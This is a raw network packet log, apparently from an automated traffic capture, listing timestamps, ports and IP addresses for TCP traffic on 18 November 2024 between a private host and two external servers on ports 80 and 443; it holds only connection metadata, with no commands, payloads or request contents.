Nov 18, 2024 04:41:12.106307983 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.106318951 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.106362104 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.106379032 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.107917070 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.107934952 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.107997894 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.108014107 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.108036995 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.108056068 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.162748098 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.162791014 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.162938118 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.162964106 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.162983894 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.163005114 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.223265886 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.223289967 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.223408937 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.223438978 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.223485947 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.223866940 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.223927021 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.223936081 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.223979950 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.223999977 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.224044085 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.245850086 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.245867014 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.245948076 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.245965004 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.245968103 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.245980978 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.245997906 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.245997906 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.246016026 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.246017933 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.246057034 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.246259928 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.246296883 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.246323109 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.246360064 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.246524096 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.246534109 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.246545076 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.246558905 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.246690989 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.246697903 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.246701956 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.246715069 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.246726036 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.246756077 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.246974945 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.247014999 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.247016907 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.247028112 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.247055054 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.247071028 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.247081041 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.247097015 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.247116089 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.247128010 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.247519970 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.247565985 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.247574091 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.247577906 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.247602940 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.247613907 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.247622967 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.247626066 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.247652054 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.247668028 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.248155117 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.248166084 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.248177052 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.248195887 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.248195887 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.248209000 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.248214960 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.248220921 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.248233080 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.248240948 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.248245955 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.248251915 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.248282909 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.248505116 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.249133110 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.249142885 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.249155045 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.249169111 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.249178886 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.249181032 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.249200106 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.249201059 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.249213934 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.249228001 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.249229908 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.249247074 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.249274015 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.250113964 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.250124931 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.250135899 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.250154018 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.250180960 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.250180960 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.250194073 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.250205040 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.250216007 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.250227928 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.250228882 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.250252008 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.250277996 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.277038097 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.277065992 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.277080059 CET	49711	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.277085066 CET	443	49711	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.398982048 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.398999929 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399131060 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399219990 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399239063 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399251938 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399262905 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399275064 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399276018 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399276018 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399292946 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399331093 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399355888 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399382114 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399406910 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399430990 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399501085 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399513006 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399523973 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399537086 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399553061 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399580956 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399596930 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399626017 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399657965 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399673939 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399744034 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399792910 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399804115 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399815083 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399825096 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.399838924 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399857998 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399868965 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399885893 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.399971962 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400012016 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400079012 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400089025 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400105953 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400116920 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400116920 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400125980 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400132895 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400147915 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400166988 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400187016 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400326967 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400346994 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400358915 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400367975 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400369883 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400382996 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400382996 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400403976 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400429964 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400595903 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400636911 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400753975 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400765896 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400777102 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400788069 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400794029 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400799990 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400806904 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400811911 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400825977 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.400839090 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400850058 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.400882006 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.401125908 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401165009 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.401253939 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401273966 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401284933 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401294947 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.401297092 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401304960 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.401309013 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401320934 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401328087 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.401333094 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401338100 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.401345015 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401356936 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401366949 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.401370049 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401390076 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.401417971 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.401902914 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401913881 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401932001 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401943922 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401947975 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.401956081 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401967049 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.401969910 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.401994944 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.402009964 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.404073000 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404093027 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404124975 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404125929 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.404136896 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.404165030 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.404169083 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404186964 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404210091 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.404237032 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.404253960 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404266119 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404275894 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404284954 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404294968 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.404297113 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404313087 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.404325008 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404336929 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404347897 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404349089 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.404360056 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.404361010 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404373884 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.404395103 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.404418945 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.404975891 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.405019045 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.405025005 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.405061960 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.405109882 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.405147076 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.405179024 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.405190945 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.405201912 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.405216932 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.405231953 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.405258894 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.405317068 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.405328989 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.405339956 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.405359030 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.405379057 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.405421972 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.405433893 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.405443907 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.405461073 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.405488968 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.472593069 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.472644091 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.472734928 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.474200964 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.474227905 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.475007057 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.475038052 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.475097895 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.475332975 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.475347042 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.476048946 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.476078033 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.476151943 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.476978064 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.476990938 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.477045059 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.477176905 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.477200985 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.477746010 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.477785110 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.477837086 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.477930069 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.477941036 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.478051901 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:12.478065014 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:12.518712044 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.518731117 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.518853903 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.518970966 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519016027 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519017935 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.519028902 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519053936 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.519069910 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.519154072 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519166946 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519179106 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519192934 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519192934 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.519211054 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.519227028 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.519331932 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519344091 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519355059 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519366026 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519371986 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.519376993 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519388914 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519397020 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.519401073 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519411087 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.519417048 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.519433975 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.519465923 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552278996 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552309990 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552321911 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552335024 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552347898 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552356005 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552366018 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552378893 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552386045 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552402973 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552407026 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552413940 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552423954 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552428961 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552443027 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552448988 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552464008 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552464008 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552479982 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.552484035 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552500963 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552514076 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.552534103 CET	80	49710	185.215.113.206	192.168.2.6
